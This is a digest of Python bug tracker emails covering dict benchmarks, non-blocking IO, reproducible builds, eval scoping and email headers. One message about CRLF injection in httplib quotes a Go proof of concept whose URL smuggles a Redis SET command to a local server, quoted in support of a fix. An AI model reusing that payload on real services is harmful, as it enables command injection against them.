From: report at bugs.python.org (Inada Naoki)
Date: Fri, 15 Mar 2019 06:13:52 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552630432.13.0.512509208629.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

> I do not like how much code is needed for such minor optimization.

PR 12307 is +46 lines.  Benefit is about 10ns when first insertion.

$ cpython/python.opt -m perf timeit --compare-to master/python.opt --python-names master:empty-dict2 --duplicate 100 'd={};d["a"]=1'
master: ..................... 62.6 ns +- 1.1 ns
empty-dict2: ..................... 52.5 ns +- 1.0 ns

Mean +- std dev: [master] 62.6 ns +- 1.1 ns -> [empty-dict2] 52.5 ns +- 1.0 ns: 1.19x faster (-16%)


While "1.19x faster" is significant, I agree that this optimization is "minor".
_PyDict_NewPresized() is used for important cases.  So this optimization doesn't work in most case.


But I came up with an idea.  _PyDict_NewPresized(n) skips preallocation when n fit in minsize table.
https://github.com/python/cpython/pull/12307/commits/93906f1568b08c59e0afddfc98070827c65cd0f9

With this idea, "first insertion optimization" works.  Additionally, it may help branch prediction
for `while (newsize < minsize) { newsize <<= 1 }` loop.

Total diff is still +46 lines.  But it affects more cases.


$ alias compare='cpython/python.opt -m perf timeit --compare-to master/python.opt --python-names master:empty-dict2'

$ compare -s 'def f(x, **kw): pass' --duplicate 10 -- 'f(4)'  # No table
Mean +- std dev: [master] 65.4 ns +- 2.3 ns -> [empty-dict2] 64.5 ns +- 1.5 ns: 1.01x faster (-1%)

$ compare -s 'def f(x, **kw): pass' --duplicate 10 -- 'f(4, a=1)'  # minsize table is allocated
Mean +- std dev: [master] 152 ns +- 3 ns -> [empty-dict2] 144 ns +- 4 ns: 1.05x faster (-5%)

$ compare -s 'def f(x, **kw): pass' --duplicate 10 -- 'f(4, a=1,b=2)'
Mean +- std dev: [master] 211 ns +- 3 ns -> [empty-dict2] 186 ns +- 3 ns: 1.13x faster (-12%)

$ compare -s 'def f(x, **kw): pass' --duplicate 10 -- 'f(4, a=1,b=2,c=3)'
Mean +- std dev: [master] 248 ns +- 3 ns -> [empty-dict2] 223 ns +- 3 ns: 1.11x faster (-10%)

$ compare -s 'def f(x, **kw): pass' --duplicate 10 -- 'f(4, a=1,b=2,c=3,d=4,e=5)'
Mean +- std dev: [master] 327 ns +- 6 ns -> [empty-dict2] 301 ns +- 6 ns: 1.09x faster (-8%)

$ compare -s 'def f(x, **kw): pass' --duplicate 10 -- 'f(4, a=1,b=2,c=3,d=4,e=5,f=6)'  # minsize*2 table is allocated
Mean +- std dev: [master] 431 ns +- 8 ns -> [empty-dict2] 406 ns +- 8 ns: 1.06x faster (-6%)


Now I think PR 12307 is not so minor.  Of course, same idea can be applied to PR 12308.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Fri Mar 15 02:15:37 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 15 Mar 2019 06:15:37 +0000
Subject: [issue30458] CRLF Injection in httplib
In-Reply-To: <1495638091.75.0.96439752743.issue30458@psf.upfronthosting.co.za>
Message-ID: <1552630537.14.0.0284224358638.issue30458@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

See also https://bugs.python.org/issue36276 for a similar report. I think it's better to raise an error instead of encoding CRLF characters in URL similar to headers.

I feel either of the issue and more preferably issue36276 closed as a duplicate of this one. Copy of msg337968 with reference to details about similar report in golang : 

For reference an exact report on golang repo : https://github.com/golang/go/issues/30794 . This seemed to have been fixed in latest golang release 1.12 and commit https://github.com/golang/go/commit/829c5df58694b3345cb5ea41206783c8ccf5c3ca . The commit introduces a check for CTL characters and throws an error for URLs something similar to Python does for headers now at bf3e1c9b80e9.

func isCTL(r rune) bool {
	return r < ' ' || 0x7f <= r && r <= 0x9f
}

if strings.IndexFunc(ruri, isCTL) != -1 {
	return errors.New("net/http: can't write control character in Request.URL")
}

So below program used to work before go 1.12 setting a key on Redis but now it throws error : 

package main

import "fmt"
import "net/http"

func main() {
	resp, err := http.Get("http://127.0.0.1:6379?\r\nSET test failure12\r\n:8080/test/?test=a")
	fmt.Println(resp)
	fmt.Println(err)
}


?  go version
go version go1.12 darwin/amd64
?  go run urllib_vulnerability.go
<nil>
parse http://127.0.0.1:6379?
SET test failure12
:8080/test/?test=a: net/url: invalid control character in URL

Looking more into the commit there seemed to be a solution towards escaping characters with https://github.com/golang/go/issues/22907 . The fix seemed to have broke Google's internal tests [0] and hence reverted to have the above commit where only CTL characters were checked and raises an error. I think this is a tricky bug upon reading code reviews in the golang repo that has around 2-3 reports with a fix committed to be reverted later for a more conservative fix and the issue was reopened to target go 1.13 .

Thanks a lot for the report @ragdoll.guo

[0] https://go-review.googlesource.com/c/go/+/159157/2#message-39c6be13a192bf760f6318ac641b432a6ab8fdc8

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30458>
_______________________________________

From report at bugs.python.org  Fri Mar 15 02:53:39 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Fri, 15 Mar 2019 06:53:39 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552632819.25.0.291487278215.issue36272@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:


New changeset 65f64b1903ae85b97a30f514bbc1b7ce940c3af2 by Vinay Sajip (R?mi Lapeyre) in branch 'master':
bpo-36272: Logging now propagates RecursionError (GH-12312)
https://github.com/python/cpython/commit/65f64b1903ae85b97a30f514bbc1b7ce940c3af2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Fri Mar 15 02:54:28 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 15 Mar 2019 06:54:28 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552632868.32.0.0837374279689.issue36272@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12307

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Fri Mar 15 03:01:02 2019
From: report at bugs.python.org (SilentGhost)
Date: Fri, 15 Mar 2019 07:01:02 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552633262.67.0.580365823241.issue36298@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
components: +Library (Lib)
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 04:11:52 2019
From: report at bugs.python.org (Martin Panter)
Date: Fri, 15 Mar 2019 08:11:52 +0000
Subject: [issue25476] close() behavior on non-blocking BufferedIO objects with
 sockets
In-Reply-To: <1445809592.17.0.674825265911.issue25476@psf.upfronthosting.co.za>
Message-ID: <1552637512.86.0.671927347367.issue25476@roundup.psfhosted.org>


Change by Martin Panter <vadmium+py at gmail.com>:


----------
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25476>
_______________________________________

From report at bugs.python.org  Fri Mar 15 04:20:42 2019
From: report at bugs.python.org (Martin Panter)
Date: Fri, 15 Mar 2019 08:20:42 +0000
Subject: [issue36293] Nonblocking read sys.stdin raises error
In-Reply-To: <1552578635.55.0.427957631553.issue36293@roundup.psfhosted.org>
Message-ID: <1552638042.2.0.786658321632.issue36293@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

This is the same story as in Issue 35762. Both ?sys.stdin? and ?subprocess.Popen.stderr? (when universal_newlines=True is enabled) use the TextIOWrapper class, which I don?t think was implemented with non-blocking mode in mind.

Issue 24560 is similar, but is about an older class ?codecs.StreamReader?.

----------
nosy: +martin.panter
superseder:  -> subprocess.Popen with universal_newlines and nonblocking streams fails with "can't concat NoneType to bytes"

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36293>
_______________________________________

From report at bugs.python.org  Fri Mar 15 04:35:11 2019
From: report at bugs.python.org (Martin Panter)
Date: Fri, 15 Mar 2019 08:35:11 +0000
Subject: [issue36294] `io.BufferedIOBase` returns `None`
In-Reply-To: <1552579401.5.0.833701735318.issue36294@roundup.psfhosted.org>
Message-ID: <1552638911.24.0.264598656479.issue36294@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

The general problem of non-blocking reads with BufferedIOBase is covered by Issue 13322. The documentation and implementations do not agree. I suggest to not rely on any particular behaviour reading BufferedIOBase objects in non-blocking mode.

The problem of the concrete class BufferedReader (what ?stdin.buffer? usually is) was also recently raised in Issue 35869.

----------
nosy: +martin.panter
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> buffered read() and write() does not raise BlockingIOError

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36294>
_______________________________________

From report at bugs.python.org  Fri Mar 15 04:38:12 2019
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 15 Mar 2019 08:38:12 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1552639092.9.0.103334365998.issue35998@roundup.psfhosted.org>


Matthias Klose <doko at debian.org> added the comment:

seen in Ubuntu 19.04 as well. Started after the openssl update form 1.1.1 to 1.1.1b.

----------
nosy: +doko

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Fri Mar 15 04:58:26 2019
From: report at bugs.python.org (Bernhard M. Wiedemann)
Date: Fri, 15 Mar 2019 08:58:26 +0000
Subject: [issue34033] distutils is not reproducible
In-Reply-To: <1530632785.81.0.56676864532.issue34033@psf.upfronthosting.co.za>
Message-ID: <1552640306.62.0.339582780904.issue34033@roundup.psfhosted.org>


Bernhard M. Wiedemann <pythonbugs at lsmod.de> added the comment:

unreproducible .pyc files are still one of the major headaches for my work on openSUSE reproducible builds.

There is also one aspect where i586 builds end up with different .pyc files than x86_64 builds. And then we randomly chose one of them for our "noarch" python module packages and hope they work everywhere (including on arm and s390 architectures).

So is someone working towards a concept that makes it is possible to create the same .pyc files anywhere?
Can I help something there?
Is there an ETA?

----------
nosy: +bmwiedemann

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34033>
_______________________________________

From report at bugs.python.org  Fri Mar 15 05:26:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 09:26:11 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552641971.16.0.450273418578.issue36297@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I found:

* _PyUnicode_DecodeUnicodeInternal()
* _codecs.unicode_internal_decode()
* _codecs.unicode_internal_encode()
* Lib/encodings/unicode_internal.py

Files which contain "unicode_internal":

Doc/library/codecs.rst
Doc/whatsnew/3.3.rst
Lib/encodings/unicode_internal.py
Lib/test/test_codeccallbacks.py
Lib/test/test_codecs.py
Lib/test/test_unicode.py
Misc/HISTORY
Modules/_codecsmodule.c
Modules/clinic/_codecsmodule.c.h
Objects/unicodeobject.c
PCbuild/lib.pyproj


> May I remove it in 3.8?

Since using the codec emits a DeprecationWarning at runtime, I think that it's safe to remove it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 05:32:54 2019
From: report at bugs.python.org (Paul Moore)
Date: Fri, 15 Mar 2019 09:32:54 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552642374.55.0.718288184025.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

Apparently, this is not in 3.7.3-rc1:

>nuget install python -version 3.7.3-rc1
Feeds used:
  C:\Users\xxxx\.nuget\packages\
  https://api.nuget.org/v3/index.json



Attempting to gather dependency information for package 'python.3.7.3-rc1' with respect to project 'C:\Work\Scratch\tst', targeting 'Any,Version=v0.0'
Gathering dependency information took 2.14 sec
Attempting to resolve dependencies for package 'python.3.7.3-rc1' with DependencyBehavior 'Lowest'
Resolving dependency information took 0 ms
Resolving actions to install package 'python.3.7.3-rc1'
Resolved actions to install package 'python.3.7.3-rc1'
Retrieving package 'python 3.7.3-rc1' from 'nuget.org'.
  GET https://api.nuget.org/v3-flatcontainer/python/3.7.3-rc1/python.3.7.3-rc1.nupkg
  OK https://api.nuget.org/v3-flatcontainer/python/3.7.3-rc1/python.3.7.3-rc1.nupkg 517ms
Installing python 3.7.3-rc1.
Adding package 'python.3.7.3-rc1' to folder 'C:\Work\Scratch\tst'
Added package 'python.3.7.3-rc1' to folder 'C:\Work\Scratch\tst'
Successfully installed 'python 3.7.3-rc1' to C:\Work\Scratch\tst
Executing nuget actions took 33.92 sec

>.\python.3.7.3-rc1\tools\python.exe -m venv
C:\Work\Scratch\tst\python.3.7.3-rc1\tools\python.exe: No module named venv

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 05:35:11 2019
From: report at bugs.python.org (Paul Moore)
Date: Fri, 15 Mar 2019 09:35:11 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552642511.32.0.806383092459.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

Hmm, I see that the Versions tag here is 3.8. Is this only targeted at 3.8, then?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 06:06:52 2019
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 15 Mar 2019 10:06:52 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552644412.83.0.455004938273.issue36010@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> Is this only targeted at 3.8, then?

Steve said he was okay with adding it in 3.7.3, but it hasn't been added yet in 3.7.3-rc1. In msg337949 I linked to the 3.7.3-rc1 version of options.py, line 54, where "venv" would need to be added to the nuget "options" list.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 06:44:12 2019
From: report at bugs.python.org (Martin Hosken)
Date: Fri, 15 Mar 2019 10:44:12 +0000
Subject: [issue36300] eval of generator expressions cannot access local
 variables
Message-ID: <1552646652.54.0.949988321046.issue36300@roundup.psfhosted.org>


New submission from Martin Hosken <martin_hosken at sil.org>:

The following code fails:

    >>> lcls = {'w': 100}
    >>> eval('[w for x in ("hello", "world")]', None, lcls)
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "<string>", line 1, in <module>
      File "<string>", line 1, in <listcomp>
    NameError: name 'w' is not defined
    >>> eval('[w, w, w]', None, lcls)
    [100, 100, 100]

whereas in python2 it succeeds

    >>> lcls = {'w': 100}
    >>> eval('[w for x in ("hello", "world")]', None, lcls)
    [100, 100]

----------
messages: 337980
nosy: Martin Hosken
priority: normal
severity: normal
status: open
title: eval of generator expressions cannot access local variables

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36300>
_______________________________________

From report at bugs.python.org  Fri Mar 15 06:45:03 2019
From: report at bugs.python.org (Martin Hosken)
Date: Fri, 15 Mar 2019 10:45:03 +0000
Subject: [issue36300] eval of generator expressions cannot access local
 variables
In-Reply-To: <1552646652.54.0.949988321046.issue36300@roundup.psfhosted.org>
Message-ID: <1552646703.3.0.0133734263704.issue36300@roundup.psfhosted.org>


Change by Martin Hosken <martin_hosken at sil.org>:


----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36300>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:01:53 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Fri, 15 Mar 2019 12:01:53 +0000
Subject: [issue36300] eval of generator expressions cannot access local
 variables
In-Reply-To: <1552646652.54.0.949988321046.issue36300@roundup.psfhosted.org>
Message-ID: <1552651313.7.0.503583581257.issue36300@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

I test it on 3.7 and 3.8 and have the same problem

----------
nosy: +eamanu
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36300>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:29:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 12:29:28 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
Message-ID: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Follow-up of bpo-36142, add _Py_PreInitialize() function to "pre-initialize" Python:

* initialize memory allocators
* initialize LC_CTYPE locale and UTF-8 Mode

Py_Initialize() should also be modified to no longer coerce the C locale or enable the UTF-8 Mode:
https://bugs.python.org/issue36202#msg337915

See also:

* bpo-36202: Calling Py_DecodeLocale() before _PyPreConfig_Write() can produce mojibake
* bpo-36204: Deprecate calling Py_Main() after Py_Initialize()? Add Py_InitializeFromArgv()?

----------
components: Interpreter Core
messages: 337982
nosy: vstinner
priority: normal
severity: normal
status: open
title: Add _Py_PreInitialize() function
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:30:33 2019
From: report at bugs.python.org (Bernhard M. Wiedemann)
Date: Fri, 15 Mar 2019 12:30:33 +0000
Subject: [issue36302] distutils creates unreproducible .so files
Message-ID: <1552653033.32.0.635728597537.issue36302@roundup.psfhosted.org>


New submission from Bernhard M. Wiedemann <pythonbugs at lsmod.de>:

While working on reproducible builds for openSUSE, I found countless python modules that come with binary .so files that did not build reproducibly from non-deterministic filesystem readdir order.

One contributing factor is bpo-30461 that will not be fixed.
I found that a simple patch can be done in distutils
instead of fixing an infinite number of current and future python modules.

----------
components: Distutils
messages: 337983
nosy: bmwiedemann, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils creates unreproducible .so files
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36302>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:32:08 2019
From: report at bugs.python.org (Bernhard M. Wiedemann)
Date: Fri, 15 Mar 2019 12:32:08 +0000
Subject: [issue36302] distutils creates unreproducible .so files
In-Reply-To: <1552653033.32.0.635728597537.issue36302@roundup.psfhosted.org>
Message-ID: <1552653128.45.0.771978055856.issue36302@roundup.psfhosted.org>


Change by Bernhard M. Wiedemann <pythonbugs at lsmod.de>:


----------
keywords: +patch
pull_requests: +12308
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36302>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:42:35 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 15 Mar 2019 12:42:35 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552653755.51.0.910505399059.issue36297@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12309
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Fri Mar 15 08:44:49 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Fri, 15 Mar 2019 12:44:49 +0000
Subject: [issue36300] eval of generator expressions cannot access local
 variables
In-Reply-To: <1552646652.54.0.949988321046.issue36300@roundup.psfhosted.org>
Message-ID: <1552653889.72.0.395014492865.issue36300@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

I don't know if this a bug for py3 or py2 because the the w variable
is not defined on the list comprehension context.

Maybe the locals on `eval` must be create w on locals context

----------
type:  -> behavior
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36300>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:12:20 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 13:12:20 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552655540.81.0.659527426201.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12310
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:14:59 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 15 Mar 2019 13:14:59 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552655699.22.0.459139963646.issue36010@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Yeah, someone still has to send a PR :)

----------
keywords: +easy
stage:  -> needs patch
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:15:00 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz?=)
Date: Fri, 15 Mar 2019 13:15:00 +0000
Subject: [issue36303] Trying to change values (fe. "To",
 "From") of email.mime.text.MIMEText after initial assigment silently
 doesn't change them.
Message-ID: <1552655700.51.0.0235842407831.issue36303@roundup.psfhosted.org>


Change by ?ukasz <fotoblysk at fejm.pl>:


----------
components: email
nosy: Fotoblysk, barry, r.david.murray
priority: normal
severity: normal
status: open
title: Trying to change values (fe. "To", "From") of email.mime.text.MIMEText after initial assigment silently doesn't change them.
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36303>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:18:20 2019
From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz?=)
Date: Fri, 15 Mar 2019 13:18:20 +0000
Subject: [issue36303] Trying to change values (fe. "To",
 "From") of email.mime.text.MIMEText after initial assigment silently
 doesn't change them.
Message-ID: <1552655900.57.0.530825702843.issue36303@roundup.psfhosted.org>


New submission from ?ukasz <fotoblysk at fejm.pl>:

Script reproducing this behavior:

```python3
from email.mime.text import MIMEText
msg = MIMEText('<div/>', 'html')
msg["To"] = "this.email.shouldnt.be.printed at nokia.com"
msg["To"] = "valid.email at nokia.com"
print(msg["To"])
```

stdout:
```
this.email.shouldnt.be.printed at nokia.com
```

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36303>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:19:03 2019
From: report at bugs.python.org (Gianluca)
Date: Fri, 15 Mar 2019 13:19:03 +0000
Subject: [issue36304] When using bz2 and lzma in mode 'wt',
 the BOM is not written
Message-ID: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>


New submission from Gianluca <gianluca.gippetto at gmail.com>:

When bz2 and lzma files are used in writing text mode (wrapped in a TextIOWrapper), the BOM of encodings such as utf-16 and utf-32 is not written. The gzip package works as expected (it writes the BOM).

The code that demonstrate this behavior (tested with Python 3.7) is attached here and can also be found on stackoverflow: https://stackoverflow.com/questions/55171439/python-bz2-and-lzma-in-mode-wt-dont-write-the-bom-while-gzip-does-why?noredirect=1#comment97103212_55171439

----------
components: IO
files: demonstrate_BOM_issue.py
messages: 337987
nosy: janluke
priority: normal
severity: normal
status: open
title: When using bz2 and lzma in mode 'wt', the BOM is not written
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48209/demonstrate_BOM_issue.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:30:38 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 15 Mar 2019 13:30:38 +0000
Subject: [issue36303] Trying to change values (fe. "To",
 "From") of email.mime.text.MIMEText after initial assigment silently
 doesn't change them.
In-Reply-To: <1552655900.57.0.530825702843.issue36303@roundup.psfhosted.org>
Message-ID: <1552656638.2.0.758325157067.issue36303@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

I think this is the expected behavior, see https://docs.python.org/3.4/library/email.message.html#email.message.Message.__getitem__ for details:

> Note that if the named field appears more than once in the message?s headers, exactly which of those field values will be returned is undefined. Use the get_all() method to get the values of all the extant named headers.

This has been already discussed elsewhere, it may not be the best API but for compatibility reasons, we cannot change it anyway.

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36303>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:34:53 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 15 Mar 2019 13:34:53 +0000
Subject: [issue36303] Trying to change values (fe. "To",
 "From") of email.mime.text.MIMEText after initial assigment silently
 doesn't change them.
In-Reply-To: <1552655900.57.0.530825702843.issue36303@roundup.psfhosted.org>
Message-ID: <1552656893.42.0.720185788901.issue36303@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Here's how you can rewrite your code so it is more explicit:

Python 3.7.2 (default, Feb 12 2019, 08:15:36)
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from email.mime.text import MIMEText
>>> msg = MIMEText('<div/>', 'html')
>>> msg.add_header('To', "this.email.shouldnt.be.printed at nokia.com")
>>> msg.add_header('To', "valid.email at nokia.com")
>>> print(msg.get_all('To'))
['this.email.shouldnt.be.printed at nokia.com', 'valid.email at nokia.com']

----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36303>
_______________________________________

From report at bugs.python.org  Fri Mar 15 09:58:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 13:58:03 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552658283.32.0.0242821559175.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 86082c22d23285995a32aabb491527c9f5629556 by Victor Stinner in branch 'master':
bpo-36235: Fix CFLAGS in distutils customize_compiler() (GH-12236)
https://github.com/python/cpython/commit/86082c22d23285995a32aabb491527c9f5629556


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar 15 10:03:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 14:03:41 +0000
Subject: [issue36127] Argument Clinic: inline parsing code for functions with
 keyword parameters
In-Reply-To: <1551202236.03.0.123634318665.issue36127@roundup.psfhosted.org>
Message-ID: <1552658621.94.0.718042856438.issue36127@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12311

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36127>
_______________________________________

From report at bugs.python.org  Fri Mar 15 10:06:08 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 14:06:08 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552658768.48.0.539866345061.issue33608@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12312

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar 15 10:08:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 15 Mar 2019 14:08:09 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552658889.5.0.0402493704822.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 74f6568bbd3e70806ea3219e8bacb386ad802ccf by Victor Stinner in branch 'master':
bpo-36301: Add _PyWstrList structure (GH-12343)
https://github.com/python/cpython/commit/74f6568bbd3e70806ea3219e8bacb386ad802ccf


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

